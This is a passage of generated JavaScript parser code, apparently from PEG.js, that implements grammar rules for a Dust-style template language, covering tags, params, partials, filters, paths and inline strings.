                s6 = peg$parseparams();
                if (s6 !== peg$FAILED) {
                  peg$reportedPos = s0;
                  s1 = peg$c13(s2, s4, s5, s6);
                  s0 = s1;
                } else {
                  peg$currPos = s0;
                  s0 = peg$c3;
                }
              } else {
                peg$currPos = s0;
                s0 = peg$c3;
              }
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }

      return s0;
    }

    function peg$parseend_tag() {
      var s0, s1, s2, s3, s4, s5, s6;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parseld();
      if (s1 !== peg$FAILED) {
        if (input.charCodeAt(peg$currPos) === 47) {
          s2 = peg$c8;
          peg$currPos++;
        } else {
          s2 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c9); }
        }
        if (s2 !== peg$FAILED) {
          s3 = [];
          s4 = peg$parsews();
          while (s4 !== peg$FAILED) {
            s3.push(s4);
            s4 = peg$parsews();
          }
          if (s3 !== peg$FAILED) {
            s4 = peg$parseidentifier();
            if (s4 !== peg$FAILED) {
              s5 = [];
              s6 = peg$parsews();
              while (s6 !== peg$FAILED) {
                s5.push(s6);
                s6 = peg$parsews();
              }
              if (s5 !== peg$FAILED) {
                s6 = peg$parserd();
                if (s6 !== peg$FAILED) {
                  peg$reportedPos = s0;
                  s1 = peg$c15(s4);
                  s0 = s1;
                } else {
                  peg$currPos = s0;
                  s0 = peg$c3;
                }
              } else {
                peg$currPos = s0;
                s0 = peg$c3;
              }
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c14); }
      }

      return s0;
    }

    function peg$parsecontext() {
      var s0, s1, s2, s3;

      s0 = peg$currPos;
      s1 = peg$currPos;
      if (input.charCodeAt(peg$currPos) === 58) {
        s2 = peg$c16;
        peg$currPos++;
      } else {
        s2 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c17); }
      }
      if (s2 !== peg$FAILED) {
        s3 = peg$parseidentifier();
        if (s3 !== peg$FAILED) {
          peg$reportedPos = s1;
          s2 = peg$c18(s3);
          s1 = s2;
        } else {
          peg$currPos = s1;
          s1 = peg$c3;
        }
      } else {
        peg$currPos = s1;
        s1 = peg$c3;
      }
      if (s1 === peg$FAILED) {
        s1 = peg$c4;
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c19(s1);
      }
      s0 = s1;

      return s0;
    }

    function peg$parseparams() {
      var s0, s1, s2, s3, s4, s5, s6;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = [];
      s2 = peg$currPos;
      s3 = [];
      s4 = peg$parsews();
      if (s4 !== peg$FAILED) {
        while (s4 !== peg$FAILED) {
          s3.push(s4);
          s4 = peg$parsews();
        }
      } else {
        s3 = peg$c3;
      }
      if (s3 !== peg$FAILED) {
        s4 = peg$parsekey();
        if (s4 !== peg$FAILED) {
          if (input.charCodeAt(peg$currPos) === 61) {
            s5 = peg$c21;
            peg$currPos++;
          } else {
            s5 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c22); }
          }
          if (s5 !== peg$FAILED) {
            s6 = peg$parsenumber();
            if (s6 === peg$FAILED) {
              s6 = peg$parseidentifier();
              if (s6 === peg$FAILED) {
                s6 = peg$parseinline();
              }
            }
            if (s6 !== peg$FAILED) {
              peg$reportedPos = s2;
              s3 = peg$c23(s4, s6);
              s2 = s3;
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      } else {
        peg$currPos = s2;
        s2 = peg$c3;
      }
      while (s2 !== peg$FAILED) {
        s1.push(s2);
        s2 = peg$currPos;
        s3 = [];
        s4 = peg$parsews();
        if (s4 !== peg$FAILED) {
          while (s4 !== peg$FAILED) {
            s3.push(s4);
            s4 = peg$parsews();
          }
        } else {
          s3 = peg$c3;
        }
        if (s3 !== peg$FAILED) {
          s4 = peg$parsekey();
          if (s4 !== peg$FAILED) {
            if (input.charCodeAt(peg$currPos) === 61) {
              s5 = peg$c21;
              peg$currPos++;
            } else {
              s5 = peg$FAILED;
              if (peg$silentFails === 0) { peg$fail(peg$c22); }
            }
            if (s5 !== peg$FAILED) {
              s6 = peg$parsenumber();
              if (s6 === peg$FAILED) {
                s6 = peg$parseidentifier();
                if (s6 === peg$FAILED) {
                  s6 = peg$parseinline();
                }
              }
              if (s6 !== peg$FAILED) {
                peg$reportedPos = s2;
                s3 = peg$c23(s4, s6);
                s2 = s3;
              } else {
                peg$currPos = s2;
                s2 = peg$c3;
              }
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c24(s1);
      }
      s0 = s1;
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c20); }
      }

      return s0;
    }

    function peg$parsebodies() {
      var s0, s1, s2, s3, s4, s5, s6, s7;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = [];
      s2 = peg$currPos;
      s3 = peg$parseld();
      if (s3 !== peg$FAILED) {
        if (input.charCodeAt(peg$currPos) === 58) {
          s4 = peg$c16;
          peg$currPos++;
        } else {
          s4 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c17); }
        }
        if (s4 !== peg$FAILED) {
          s5 = peg$parsekey();
          if (s5 !== peg$FAILED) {
            s6 = peg$parserd();
            if (s6 !== peg$FAILED) {
              s7 = peg$parsebody();
              if (s7 !== peg$FAILED) {
                peg$reportedPos = s2;
                s3 = peg$c23(s5, s7);
                s2 = s3;
              } else {
                peg$currPos = s2;
                s2 = peg$c3;
              }
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      } else {
        peg$currPos = s2;
        s2 = peg$c3;
      }
      while (s2 !== peg$FAILED) {
        s1.push(s2);
        s2 = peg$currPos;
        s3 = peg$parseld();
        if (s3 !== peg$FAILED) {
          if (input.charCodeAt(peg$currPos) === 58) {
            s4 = peg$c16;
            peg$currPos++;
          } else {
            s4 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c17); }
          }
          if (s4 !== peg$FAILED) {
            s5 = peg$parsekey();
            if (s5 !== peg$FAILED) {
              s6 = peg$parserd();
              if (s6 !== peg$FAILED) {
                s7 = peg$parsebody();
                if (s7 !== peg$FAILED) {
                  peg$reportedPos = s2;
                  s3 = peg$c23(s5, s7);
                  s2 = s3;
                } else {
                  peg$currPos = s2;
                  s2 = peg$c3;
                }
              } else {
                peg$currPos = s2;
                s2 = peg$c3;
              }
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c26(s1);
      }
      s0 = s1;
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c25); }
      }

      return s0;
    }

    function peg$parsereference() {
      var s0, s1, s2, s3, s4;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parseld();
      if (s1 !== peg$FAILED) {
        s2 = peg$parseidentifier();
        if (s2 !== peg$FAILED) {
          s3 = peg$parsefilters();
          if (s3 !== peg$FAILED) {
            s4 = peg$parserd();
            if (s4 !== peg$FAILED) {
              peg$reportedPos = s0;
              s1 = peg$c28(s2, s3);
              s0 = s1;
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c27); }
      }

      return s0;
    }

    function peg$parsepartial() {
      var s0, s1, s2, s3, s4, s5, s6, s7, s8, s9;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parseld();
      if (s1 !== peg$FAILED) {
        if (input.charCodeAt(peg$currPos) === 62) {
          s2 = peg$c30;
          peg$currPos++;
        } else {
          s2 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c31); }
        }
        if (s2 === peg$FAILED) {
          if (input.charCodeAt(peg$currPos) === 43) {
            s2 = peg$c32;
            peg$currPos++;
          } else {
            s2 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c33); }
          }
        }
        if (s2 !== peg$FAILED) {
          s3 = [];
          s4 = peg$parsews();
          while (s4 !== peg$FAILED) {
            s3.push(s4);
            s4 = peg$parsews();
          }
          if (s3 !== peg$FAILED) {
            s4 = peg$currPos;
            s5 = peg$parsekey();
            if (s5 !== peg$FAILED) {
              peg$reportedPos = s4;
              s5 = peg$c34(s5);
            }
            s4 = s5;
            if (s4 === peg$FAILED) {
              s4 = peg$parseinline();
            }
            if (s4 !== peg$FAILED) {
              s5 = peg$parsecontext();
              if (s5 !== peg$FAILED) {
                s6 = peg$parseparams();
                if (s6 !== peg$FAILED) {
                  s7 = [];
                  s8 = peg$parsews();
                  while (s8 !== peg$FAILED) {
                    s7.push(s8);
                    s8 = peg$parsews();
                  }
                  if (s7 !== peg$FAILED) {
                    if (input.charCodeAt(peg$currPos) === 47) {
                      s8 = peg$c8;
                      peg$currPos++;
                    } else {
                      s8 = peg$FAILED;
                      if (peg$silentFails === 0) { peg$fail(peg$c9); }
                    }
                    if (s8 !== peg$FAILED) {
                      s9 = peg$parserd();
                      if (s9 !== peg$FAILED) {
                        peg$reportedPos = s0;
                        s1 = peg$c35(s2, s4, s5, s6);
                        s0 = s1;
                      } else {
                        peg$currPos = s0;
                        s0 = peg$c3;
                      }
                    } else {
                      peg$currPos = s0;
                      s0 = peg$c3;
                    }
                  } else {
                    peg$currPos = s0;
                    s0 = peg$c3;
                  }
                } else {
                  peg$currPos = s0;
                  s0 = peg$c3;
                }
              } else {
                peg$currPos = s0;
                s0 = peg$c3;
              }
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c29); }
      }

      return s0;
    }

    function peg$parsefilters() {
      var s0, s1, s2, s3, s4;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = [];
      s2 = peg$currPos;
      if (input.charCodeAt(peg$currPos) === 124) {
        s3 = peg$c37;
        peg$currPos++;
      } else {
        s3 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c38); }
      }
      if (s3 !== peg$FAILED) {
        s4 = peg$parsekey();
        if (s4 !== peg$FAILED) {
          peg$reportedPos = s2;
          s3 = peg$c18(s4);
          s2 = s3;
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      } else {
        peg$currPos = s2;
        s2 = peg$c3;
      }
      while (s2 !== peg$FAILED) {
        s1.push(s2);
        s2 = peg$currPos;
        if (input.charCodeAt(peg$currPos) === 124) {
          s3 = peg$c37;
          peg$currPos++;
        } else {
          s3 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c38); }
        }
        if (s3 !== peg$FAILED) {
          s4 = peg$parsekey();
          if (s4 !== peg$FAILED) {
            peg$reportedPos = s2;
            s3 = peg$c18(s4);
            s2 = s3;
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c39(s1);
      }
      s0 = s1;
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c36); }
      }

      return s0;
    }

    function peg$parsespecial() {
      var s0, s1, s2, s3, s4;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parseld();
      if (s1 !== peg$FAILED) {
        if (input.charCodeAt(peg$currPos) === 126) {
          s2 = peg$c41;
          peg$currPos++;
        } else {
          s2 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c42); }
        }
        if (s2 !== peg$FAILED) {
          s3 = peg$parsekey();
          if (s3 !== peg$FAILED) {
            s4 = peg$parserd();
            if (s4 !== peg$FAILED) {
              peg$reportedPos = s0;
              s1 = peg$c43(s3);
              s0 = s1;
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c40); }
      }

      return s0;
    }

    function peg$parseidentifier() {
      var s0, s1;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parsepath();
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c45(s1);
      }
      s0 = s1;
      if (s0 === peg$FAILED) {
        s0 = peg$currPos;
        s1 = peg$parsekey();
        if (s1 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c46(s1);
        }
        s0 = s1;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c44); }
      }

      return s0;
    }

    function peg$parsenumber() {
      var s0, s1;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parsefloat();
      if (s1 === peg$FAILED) {
        s1 = peg$parseinteger();
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c48(s1);
      }
      s0 = s1;
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c47); }
      }

      return s0;
    }

    function peg$parsefloat() {
      var s0, s1, s2, s3;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parseinteger();
      if (s1 !== peg$FAILED) {
        if (input.charCodeAt(peg$currPos) === 46) {
          s2 = peg$c50;
          peg$currPos++;
        } else {
          s2 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c51); }
        }
        if (s2 !== peg$FAILED) {
          s3 = peg$parseunsigned_integer();
          if (s3 !== peg$FAILED) {
            peg$reportedPos = s0;
            s1 = peg$c52(s1, s3);
            s0 = s1;
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c49); }
      }

      return s0;
    }

    function peg$parseunsigned_integer() {
      var s0, s1, s2;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = [];
      if (peg$c54.test(input.charAt(peg$currPos))) {
        s2 = input.charAt(peg$currPos);
        peg$currPos++;
      } else {
        s2 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c55); }
      }
      if (s2 !== peg$FAILED) {
        while (s2 !== peg$FAILED) {
          s1.push(s2);
          if (peg$c54.test(input.charAt(peg$currPos))) {
            s2 = input.charAt(peg$currPos);
            peg$currPos++;
          } else {
            s2 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c55); }
          }
        }
      } else {
        s1 = peg$c3;
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c56(s1);
      }
      s0 = s1;
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c53); }
      }

      return s0;
    }

    function peg$parsesigned_integer() {
      var s0, s1, s2;

      peg$silentFails++;
      s0 = peg$currPos;
      if (input.charCodeAt(peg$currPos) === 45) {
        s1 = peg$c58;
        peg$currPos++;
      } else {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c59); }
      }
      if (s1 !== peg$FAILED) {
        s2 = peg$parseunsigned_integer();
        if (s2 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c60(s1, s2);
          s0 = s1;
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c57); }
      }

      return s0;
    }

    function peg$parseinteger() {
      var s0, s1;

      peg$silentFails++;
      s0 = peg$parsesigned_integer();
      if (s0 === peg$FAILED) {
        s0 = peg$parseunsigned_integer();
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c61); }
      }

      return s0;
    }

    function peg$parsepath() {
      var s0, s1, s2, s3;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parsekey();
      if (s1 === peg$FAILED) {
        s1 = peg$c4;
      }
      if (s1 !== peg$FAILED) {
        s2 = [];
        s3 = peg$parsearray_part();
        if (s3 === peg$FAILED) {
          s3 = peg$parsearray();
        }
        if (s3 !== peg$FAILED) {
          while (s3 !== peg$FAILED) {
            s2.push(s3);
            s3 = peg$parsearray_part();
            if (s3 === peg$FAILED) {
              s3 = peg$parsearray();
            }
          }
        } else {
          s2 = peg$c3;
        }
        if (s2 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c63(s1, s2);
          s0 = s1;
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      if (s0 === peg$FAILED) {
        s0 = peg$currPos;
        if (input.charCodeAt(peg$currPos) === 46) {
          s1 = peg$c50;
          peg$currPos++;
        } else {
          s1 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c51); }
        }
        if (s1 !== peg$FAILED) {
          s2 = [];
          s3 = peg$parsearray_part();
          if (s3 === peg$FAILED) {
            s3 = peg$parsearray();
          }
          while (s3 !== peg$FAILED) {
            s2.push(s3);
            s3 = peg$parsearray_part();
            if (s3 === peg$FAILED) {
              s3 = peg$parsearray();
            }
          }
          if (s2 !== peg$FAILED) {
            peg$reportedPos = s0;
            s1 = peg$c64(s2);
            s0 = s1;
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c62); }
      }

      return s0;
    }

    function peg$parsekey() {
      var s0, s1, s2, s3;

      peg$silentFails++;
      s0 = peg$currPos;
      if (peg$c66.test(input.charAt(peg$currPos))) {
        s1 = input.charAt(peg$currPos);
        peg$currPos++;
      } else {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c67); }
      }
      if (s1 !== peg$FAILED) {
        s2 = [];
        if (peg$c68.test(input.charAt(peg$currPos))) {
          s3 = input.charAt(peg$currPos);
          peg$currPos++;
        } else {
          s3 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c69); }
        }
        while (s3 !== peg$FAILED) {
          s2.push(s3);
          if (peg$c68.test(input.charAt(peg$currPos))) {
            s3 = input.charAt(peg$currPos);
            peg$currPos++;
          } else {
            s3 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c69); }
          }
        }
        if (s2 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c70(s1, s2);
          s0 = s1;
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c65); }
      }

      return s0;
    }

    function peg$parsearray() {
      var s0, s1, s2, s3, s4, s5;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$currPos;
      s2 = peg$parselb();
      if (s2 !== peg$FAILED) {
        s3 = peg$currPos;
        s4 = [];
        if (peg$c54.test(input.charAt(peg$currPos))) {
          s5 = input.charAt(peg$currPos);
          peg$currPos++;
        } else {
          s5 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c55); }
        }
        if (s5 !== peg$FAILED) {
          while (s5 !== peg$FAILED) {
            s4.push(s5);
            if (peg$c54.test(input.charAt(peg$currPos))) {
              s5 = input.charAt(peg$currPos);
              peg$currPos++;
            } else {
              s5 = peg$FAILED;
              if (peg$silentFails === 0) { peg$fail(peg$c55); }
            }
          }
        } else {
          s4 = peg$c3;
        }
        if (s4 !== peg$FAILED) {
          peg$reportedPos = s3;
          s4 = peg$c72(s4);
        }
        s3 = s4;
        if (s3 === peg$FAILED) {
          s3 = peg$parseidentifier();
        }
        if (s3 !== peg$FAILED) {
          s4 = peg$parserb();
          if (s4 !== peg$FAILED) {
            peg$reportedPos = s1;
            s2 = peg$c73(s3);
            s1 = s2;
          } else {
            peg$currPos = s1;
            s1 = peg$c3;
          }
        } else {
          peg$currPos = s1;
          s1 = peg$c3;
        }
      } else {
        peg$currPos = s1;
        s1 = peg$c3;
      }
      if (s1 !== peg$FAILED) {
        s2 = peg$parsearray_part();
        if (s2 === peg$FAILED) {
          s2 = peg$c4;
        }
        if (s2 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c74(s1, s2);
          s0 = s1;
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c71); }
      }

      return s0;
    }

    function peg$parsearray_part() {
      var s0, s1, s2, s3, s4;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = [];
      s2 = peg$currPos;
      if (input.charCodeAt(peg$currPos) === 46) {
        s3 = peg$c50;
        peg$currPos++;
      } else {
        s3 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c51); }
      }
      if (s3 !== peg$FAILED) {
        s4 = peg$parsekey();
        if (s4 !== peg$FAILED) {
          peg$reportedPos = s2;
          s3 = peg$c76(s4);
          s2 = s3;
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      } else {
        peg$currPos = s2;
        s2 = peg$c3;
      }
      if (s2 !== peg$FAILED) {
        while (s2 !== peg$FAILED) {
          s1.push(s2);
          s2 = peg$currPos;
          if (input.charCodeAt(peg$currPos) === 46) {
            s3 = peg$c50;
            peg$currPos++;
          } else {
            s3 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c51); }
          }
          if (s3 !== peg$FAILED) {
            s4 = peg$parsekey();
            if (s4 !== peg$FAILED) {
              peg$reportedPos = s2;
              s3 = peg$c76(s4);
              s2 = s3;
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        }
      } else {
        s1 = peg$c3;
      }
      if (s1 !== peg$FAILED) {
        s2 = peg$parsearray();
        if (s2 === peg$FAILED) {
          s2 = peg$c4;
        }
        if (s2 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c77(s1, s2);
          s0 = s1;
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c75); }
      }

      return s0;
    }

    function peg$parseinline() {
      var s0, s1, s2, s3;

      peg$silentFails++;
      s0 = peg$currPos;
      if (input.charCodeAt(peg$currPos) === 34) {
        s1 = peg$c79;
        peg$currPos++;
      } else {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c80); }
      }
      if (s1 !== peg$FAILED) {
        if (input.charCodeAt(peg$currPos) === 34) {
          s2 = peg$c79;
          peg$currPos++;
        } else {
          s2 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c80); }
        }
        if (s2 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c81();
          s0 = s1;
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      if (s0 === peg$FAILED) {
        s0 = peg$currPos;
        if (input.charCodeAt(peg$currPos) === 34) {
          s1 = peg$c79;
          peg$currPos++;
        } else {
          s1 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c80); }
        }
        if (s1 !== peg$FAILED) {
          s2 = peg$parseliteral();
          if (s2 !== peg$FAILED) {
            if (input.charCodeAt(peg$currPos) === 34) {
              s3 = peg$c79;
              peg$currPos++;
            } else {
              s3 = peg$FAILED;
              if (peg$silentFails === 0) { peg$fail(peg$c80); }
            }
            if (s3 !== peg$FAILED) {
              peg$reportedPos = s0;
              s1 = peg$c82(s2);
              s0 = s1;
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
        if (s0 === peg$FAILED) {
          s0 = peg$currPos;
          if (input.charCodeAt(peg$currPos) === 34) {
            s1 = peg$c79;
            peg$currPos++;
          } else {
            s1 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c80); }
          }
          if (s1 !== peg$FAILED) {
            s2 = [];
            s3 = peg$parseinline_part();
            if (s3 !== peg$FAILED) {
              while (s3 !== peg$FAILED) {
                s2.push(s3);
                s3 = peg$parseinline_part();
              }
            } else {
              s2 = peg$c3;
            }
            if (s2 !== peg$FAILED) {
              if (input.charCodeAt(peg$currPos) === 34) {
                s3 = peg$c79;
                peg$currPos++;
              } else {
                s3 = peg$FAILED;
                if (peg$silentFails === 0) { peg$fail(peg$c80); }
              }
              if (s3 !== peg$FAILED) {
                peg$reportedPos = s0;
                s1 = peg$c83(s2);
                s0 = s1;
              } else {
                peg$currPos = s0;
                s0 = peg$c3;
              }
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        }
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c78); }
      }

      return s0;
    }

    function peg$parseinline_part() {
      var s0, s1;

      s0 = peg$parsespecial();
      if (s0 === peg$FAILED) {
        s0 = peg$parsereference();
        if (s0 === peg$FAILED) {
          s0 = peg$currPos;
          s1 = peg$parseliteral();
          if (s1 !== peg$FAILED) {
            peg$reportedPos = s0;
            s1 = peg$c84(s1);
          }
          s0 = s1;
        }
      }

      return s0;
    }

    function peg$parsebuffer() {
      var s0, s1, s2, s3, s4, s5, s6, s7;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parseeol();
      if (s1 !== peg$FAILED) {
        s2 = [];
        s3 = peg$parsews();
        while (s3 !== peg$FAILED) {
          s2.push(s3);
          s3 = peg$parsews();
        }
        if (s2 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c86(s1, s2);
          s0 = s1;
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      if (s0 === peg$FAILED) {
        s0 = peg$currPos;
        s1 = [];
        s2 = peg$currPos;
        s3 = peg$currPos;
        peg$silentFails++;
        s4 = peg$parsetag();
        peg$silentFails--;
        if (s4 === peg$FAILED) {
          s3 = peg$c6;
        } else {
          peg$currPos = s3;
          s3 = peg$c3;
        }
        if (s3 !== peg$FAILED) {
          s4 = peg$currPos;
          peg$silentFails++;
          s5 = peg$parseraw();
          peg$silentFails--;
          if (s5 === peg$FAILED) {
            s4 = peg$c6;
          } else {
            peg$currPos = s4;
            s4 = peg$c3;
          }
          if (s4 !== peg$FAILED) {
            s5 = peg$currPos;
            peg$silentFails++;
            s6 = peg$parsecomment();
            peg$silentFails--;
            if (s6 === peg$FAILED) {
              s5 = peg$c6;
            } else {
              peg$currPos = s5;
              s5 = peg$c3;
            }
            if (s5 !== peg$FAILED) {
              s6 = peg$currPos;
              peg$silentFails++;
              s7 = peg$parseeol();
              peg$silentFails--;
              if (s7 === peg$FAILED) {
                s6 = peg$c6;
              } else {
                peg$currPos = s6;
                s6 = peg$c3;
              }
              if (s6 !== peg$FAILED) {
                if (input.length > peg$currPos) {
                  s7 = input.charAt(peg$currPos);
                  peg$currPos++;
                } else {
                  s7 = peg$FAILED;
